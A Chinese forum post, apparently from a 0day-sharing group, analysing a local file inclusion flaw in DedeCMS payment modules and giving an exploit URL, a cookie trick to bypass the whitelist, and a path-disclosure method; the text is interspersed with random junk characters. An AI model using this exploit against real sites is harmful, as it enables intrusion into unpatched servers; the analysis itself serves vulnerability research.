晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
0 a7 E( \1 w; z3 v! t9 B% Z$ |2 o% b/ L% e
出现漏洞的两个文件为:
+ S4 e2 M6 H) l, P" A1 uInclude/payment/alipay.php
0 f2 v& L g% i Y8 g% o; j& pInclude/payment/yeepay.php4 Z9 ?; f0 V% Z* T# `2 d' X6 O
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
. j; c x: t+ }/ }* x1 P, T& b( G) ?
Include/payment/alipay.php J: Z) W5 A# m% F" W' x
- y7 `4 Z: f1 p C* f- z( C# p7 ~* U......
7 M1 Z' Y( Y8 ]0 ^8 P6 H function respond()1 k3 M. y( u, }1 j; u6 Z
{
6 [8 _2 H6 z5 x7 ?& s* }* R if (!empty($_POST))7 ^* l4 E3 n: A2 |
{
. t$ V2 g7 R8 I& K, K( G5 T foreach($_POST as $key => $data)
; t$ P0 z5 c+ M& F; M8 H z {4 W; J0 j6 k5 F4 C
$_GET[$key] = $data;3 ~4 H( z" J: U N7 j! h" M
}
! a, m! J5 S; X$ V$ @& E% ^ }" M$ z: V3 E; @, E: }; D! w! i' o
/* 引入配置文件 */, O" a6 d8 B" n2 }5 H
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
. _% K# X4 e! I0 L2 i' H...... 1 D! U1 C0 q1 z# t: Q
4 m, P4 s- s7 N( ~1 g
# O8 R7 C! d( z2 J2 ~! b+ G大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。0 W. ? ]7 ] K/ r- T, @' ^
; R3 |' U$ `6 P- G
Include/payment/yeepay.php M# R" I$ G2 w0 v
' z5 |, r y; b0 I5 U
8 U) X$ U6 ?( v) A4 ?: C
( f. c6 o |) l2 K7 R, p. D+ E) Z
......
" R7 Z. b; k2 F: s4 h+ @' {5 M3 Y function respond()
8 }) A2 E( g# j! C8 h& H1 m {
$ J3 {" u2 Q7 ~- ^5 b6 _: D
. T" c* I. w' _* V; B /* 引入配置文件 */
: ?+ Z; P+ ~% j require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';3 S, x; c! Q* l+ G
0 a/ P" {2 ?7 f: ] $p1_MerId = trim($payment['yp_account']);. v7 ?3 z! i* p6 } U
$merchantKey = trim($payment['yp_key']);
$ r% a8 I9 j2 i4 T* G; H, u...... ) ~( _6 X1 A R. Z7 j7 X, E: n+ N
1 a! q0 N5 @9 ~- ^" ^8 r8 o
6 a3 `( Y/ F9 u" v# `( q + D' o/ O4 [ T$ d# L: n( S$ B
2 L, q6 ` a3 o* V( S) q; i8 o
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。7 T% r: I* a8 z& s# e
5 m# U: E* \2 c. v8 x这两个方法在plus/carbuyaction.php文件调用。
3 S G; p$ z) r6 _$ L; |" Q0 e9 X1 N& F7 H8 Z
plus/carbuyaction.php5 _7 [& b* |$ s2 {, B
; d; z9 V( f4 |- D/ d# t8 e
......6 p: p) x& n l+ J* @
} else if ($dopost == 'return') {% [" @2 k- ]1 T0 s7 s
$write_list = array('alipay', 'bank', 'cod', 'yeepay');
! ^% q5 \% ^8 ?' U% Q, r: P if (in_array($code, $write_list))9 [. s# E b- C& S' K
{
/ `3 X, X/ E$ f5 Z- B# ? require_once DEDEINC.'/payment/'.$code.'.php';
/ c) D) V8 T) s9 a- N $pay = new $code;% P( s& h5 N# ^4 J( z( d+ b+ }
$msg=$pay->respond();6 A% N# W: {; s+ x# t
ShowMsg($msg, "javascript:;", 0, 3000);/ l6 _9 t, ?- m1 E
exit(); % Z* n0 B: f$ q( x# t( T
} else {
6 u0 n4 q/ w7 p9 N' o+ V6 n6 j exit('Error:File Type Can\'t Recognized!');
/ P q9 g2 M! i3 ?* e8 v- z/ K }+ F8 `8 M ]/ ~0 R! A
}
+ P- @' ` x' Y...... 5 k& \& q. Q: G# g
- Z6 K% ^ z7 X
, P9 I1 ^4 G* `( V0 |" b ' V* [5 ^) I c9 z
6 V8 n3 z6 F) Q7 e+ d1 B
" i) x9 }3 i0 ~1 p7 E' K" s0 a6 b8 e4 H
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
3 D4 p( W H! Q: y所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
( w* m" V5 P. Y3 e3 \- y
& T& C/ Z$ J+ L, }回到include/common.inc.php来看看他的机制。
$ G, W( G2 C: h1 B3 t4 p( P! C/ {
' x o s; M0 A
! v. x8 o$ a, b8 I0 u G, K
......6 N' y# S2 t* w! ~+ y
foreach(Array('_GET','_POST','_COOKIE') as $_request)
3 U* | M# l4 a{0 p" V- B! D3 g' \' D- @
foreach($$_request as $_k => $_v)
" }( L& W3 B! r# o" B( ] {0 W e. g! ~) U! O0 e& z) V+ Z& o
if($_k == 'nvarname') ${$_k} = $_v;! Q- o" |% V# X7 y( I5 {6 ^
else ${$_k} = _RunMagicQuotes($_v);% W" o& n6 D& I/ q
}0 A, a( d- ]9 \) C9 l
}
8 |# _! ]' ^1 i8 R/ A0 D) j...... : c, Q2 D( v0 G1 b) q
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:/ X# t7 I6 ~$ E( y
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |